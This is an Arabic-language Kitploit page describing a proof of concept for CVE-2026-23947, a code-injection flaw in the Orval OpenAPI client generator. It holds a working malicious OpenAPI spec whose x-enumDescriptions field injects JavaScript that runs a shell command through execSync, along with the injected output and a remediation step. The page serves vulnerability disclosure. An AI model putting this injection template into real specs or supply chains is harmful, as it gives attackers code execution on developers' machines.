Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23947-PoC — إثبات مفهوم يوضح تنفيذ تعليمات برمجية عشوائية في Orval عبر حقول OpenAPI خبيثة، مع خطوات الإعداد والاستغلال وإرشادات المعالجة. | Kitploit
أدوات/GitHubGitHub/boroeurnprach/cve-2026-23947-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن سلسلة التوريد
GitHubboroeurnprach/cve-2026-23947-poc

CVE-2026-23947-PoC

إثبات مفهوم يوضح تنفيذ تعليمات برمجية عشوائية في Orval عبر حقول OpenAPI خبيثة، مع خطوات الإعداد والاستغلال وإرشادات المعالجة.

عرض المستودع
منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

دليل إرشادي: CVE-2026-23947 - تنفيذ تعليمات برمجية عشوائية في Orval

يوضح هذا الدليل كيف يمكن لمواصفات OpenAPI غير الموثوقة استغلال Orval لحقن تعليمات برمجية عشوائية في العملاء المُولّدين عبر حقلي x-enumDescriptions و x-enumNames.

المتطلبات الأساسية

  • Node.js (الإصدار 20 أو 22)
  • npm

الإعداد

  1. أنشئ مشروعًا وقم بتثبيت إصدار ضعيف من orval (مثل 7.10.0):
root@kitploit:~
mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios

  1. أنشئ ملف orval.config.js:
root@kitploit:~
module.exports = {
  test: {
    input: './openapi.yaml',
    output: {
      target: './generated/api.ts',
      schemas: './generated/model',
      mode: 'split',
    },
  },
};

الاستغلال:

  1. أنشئ ملف openapi.yaml بالمحتوى التالي:
root@kitploit:~
openapi: 3.0.0
info:
  title: Test API
  version: 1.0.0
paths:
  /test:
    get:
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    $ref: '#/components/schemas/TestEnum'
components:
  schemas:
    TestEnum:
      type: string
      enum:
        - VAL1
      x-enumDescriptions:
        - "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
  1. قم بتوليد العميل:
root@kitploit:~
npx orval

  1. لاحظ الملف المُولّد generated/model/testEnum.ts:
root@kitploit:~
/**
 * Generated by orval v7.10.0 🍺
 * Do not edit manually.
 * Test API
 * OpenAPI spec version: 1.0.0
 */

export type TestEnum = typeof TestEnum[keyof typeof TestEnum];

// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
  /** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
  VAL1: 'VAL1',
} as const;

التحقق

أنشئ سكربت تشغيل exploit.ts:

root@kitploit:~
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);

قم بتشغيله باستخدام tsx:

root@kitploit:~
npm install -D tsx
npx tsx exploit.ts

المخرجات:

root@kitploit:~
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)

TestEnum value: {}

المعالجة

قم بترقية Orval إلى الإصدار 8.0.2 أو أحدث. يعمل الإصلاح على تهريب هذه السلاسل بشكل صحيح باستخدام js-string-escape.

تنزيل الأداة